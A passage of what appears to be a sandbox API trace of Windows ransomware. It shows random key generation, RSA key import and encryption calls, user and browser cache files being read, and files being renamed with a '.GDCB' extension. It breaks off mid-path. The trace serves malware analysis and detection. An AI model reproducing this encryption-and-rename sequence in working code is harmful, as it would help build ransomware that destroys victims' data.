hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x50cf390) returned 1 [0207.356] CryptGetKeyParam (in: hKey=0x50cf390, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0207.356] CryptEncrypt (in: hKey=0x50cf390, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bc0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x6bc0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0207.356] GetLastError () returned 0x0 [0207.356] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0207.356] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0207.358] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x50d2250) returned 1 [0207.358] CryptGetKeyParam (in: hKey=0x50d2250, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0207.358] CryptEncrypt (in: hKey=0x50d2250, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bd0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bd0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0207.358] GetLastError () returned 0x0 [0207.358] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0207.358] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\usrclass.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0207.364] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0207.366] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.367] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.367] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0207.367] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0207.367] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0207.369] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.369] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.369] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0207.369] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0207.370] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0207.372] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d2510) returned 1 [0207.372] CryptGetKeyParam (in: hKey=0x50d2510, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0207.372] CryptEncrypt (in: hKey=0x50d2510, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6be0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6be0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0207.372] GetLastError () returned 0x0 [0207.372] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0207.372] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0207.374] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d2450) returned 1 [0207.374] CryptGetKeyParam (in: hKey=0x50d2450, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0207.374] CryptEncrypt (in: hKey=0x50d2450, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bf0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6bf0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0207.374] GetLastError () returned 0x0 [0207.374] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0207.374] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V01.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v01.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0207.378] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0207.380] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.380] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.381] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0207.381] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0207.381] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0207.383] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.383] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.383] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0207.383] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0207.384] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0207.386] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d27d0) returned 1 [0207.386] CryptGetKeyParam (in: hKey=0x50d27d0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0207.386] CryptEncrypt (in: hKey=0x50d27d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6c00000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6c00000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0207.386] GetLastError () returned 0x0 [0207.386] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0207.386] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0207.388] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d24d0) returned 1 [0207.388] CryptGetKeyParam (in: hKey=0x50d24d0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0207.388] CryptEncrypt (in: hKey=0x50d24d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6c10000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6c10000*, pdwDataLen=0x285d630*=0x100) returned 1 [0207.388] GetLastError () returned 0x0 [0207.388] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0207.388] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V01tmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v01tmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0207.392] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0207.394] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.394] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.394] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0207.394] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0207.394] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0207.396] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.397] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.397] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0207.397] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0207.397] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0207.399] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d2550) returned 1 [0207.399] CryptGetKeyParam (in: hKey=0x50d2550, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0207.399] CryptEncrypt (in: hKey=0x50d2550, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6c20000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6c20000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0207.399] GetLastError () returned 0x0 [0207.399] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0207.399] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0207.401] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d2810) returned 1 [0207.401] CryptGetKeyParam (in: hKey=0x50d2810, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0207.401] CryptEncrypt (in: hKey=0x50d2810, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6c30000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6c30000*, pdwDataLen=0x285d630*=0x100) returned 1 [0207.401] GetLastError () returned 0x0 [0207.401] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0207.401] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\webcachev01.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0207.408] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0207.409] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.410] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.410] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0207.410] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0207.411] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0207.412] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.414] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.414] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0207.414] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0207.414] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0207.416] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d2090) returned 1 [0207.416] CryptGetKeyParam (in: hKey=0x50d2090, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0207.416] CryptEncrypt (in: hKey=0x50d2090, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6c40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6c40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0207.416] GetLastError () returned 0x0 [0207.416] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0207.416] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0207.418] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d2750) returned 1 [0207.418] CryptGetKeyParam (in: hKey=0x50d2750, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0207.418] CryptEncrypt (in: hKey=0x50d2750, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6c50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6c50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0207.418] GetLastError () returned 0x0 [0207.418] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0207.418] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Windows Anytime Upgrade\\Upgrade_dism.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\windows anytime upgrade\\upgrade_dism.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0207.420] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6c60000 [0207.421] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6c70000 [0207.422] ReadFile (in: hFile=0x510, lpBuffer=0x6c70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6c70000*, lpNumberOfBytesRead=0x285d670*=0xac34, lpOverlapped=0x0) returned 1 [0207.599] VirtualAlloc (lpAddress=0x0, dwSize=0xac40, flAllocationType=0x3000, flProtect=0x4) returned 0x6d80000 [0207.604] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Windows Anytime Upgrade\\Upgrade_dism.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\windows anytime upgrade\\upgrade_dism.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Windows Anytime Upgrade\\Upgrade_dism.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\windows anytime upgrade\\upgrade_dism.log.gdcb")) returned 1 [0207.640] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0207.641] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.642] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.642] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0207.642] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0207.642] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0207.644] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.644] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.644] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0207.644] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0207.645] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0207.654] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d2610) returned 1 [0207.654] CryptGetKeyParam (in: hKey=0x50d2610, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0207.654] CryptEncrypt (in: hKey=0x50d2610, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6c40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6c40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0207.655] GetLastError () returned 0x0 [0207.655] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0207.655] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0207.657] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d2290) returned 1 [0207.657] CryptGetKeyParam (in: hKey=0x50d2290, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0207.657] CryptEncrypt (in: hKey=0x50d2290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6c50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6c50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0207.657] GetLastError () returned 0x0 [0207.657] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0207.657] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\MicrosoftEdge\\SharedCacheContainers\\MicrosoftEdge_iecompat\\IECompatData.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoftedge\\sharedcachecontainers\\microsoftedge_iecompat\\iecompatdata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0208.865] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0208.867] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0208.868] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0208.868] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0208.868] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0208.868] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0208.869] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0208.870] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0208.870] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0208.870] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0208.870] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0208.872] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508c438) returned 1 [0208.872] CryptGetKeyParam (in: hKey=0x508c438, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0208.872] CryptEncrypt (in: hKey=0x508c438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6c60000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x6c60000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0208.872] GetLastError () returned 0x0 [0208.872] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0208.873] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0208.874] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508cb38) returned 1 [0208.874] CryptGetKeyParam (in: hKey=0x508cb38, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0208.874] CryptEncrypt (in: hKey=0x508cb38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6c70000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x6c70000*, pdwDataLen=0x285d120*=0x100) returned 1 [0208.875] GetLastError () returned 0x0 [0208.875] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0208.875] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cache2\\index.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\cache2\\index.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0208.876] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6c80000 [0208.878] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6c90000 [0208.879] ReadFile (in: hFile=0x518, lpBuffer=0x6c90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x6c90000*, lpNumberOfBytesRead=0x285d160*=0x124c, lpOverlapped=0x0) returned 1 [0208.948] VirtualAlloc (lpAddress=0x0, dwSize=0x1250, flAllocationType=0x3000, flProtect=0x4) returned 0x6da0000 [0208.952] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cache2\\index.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\cache2\\index.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application 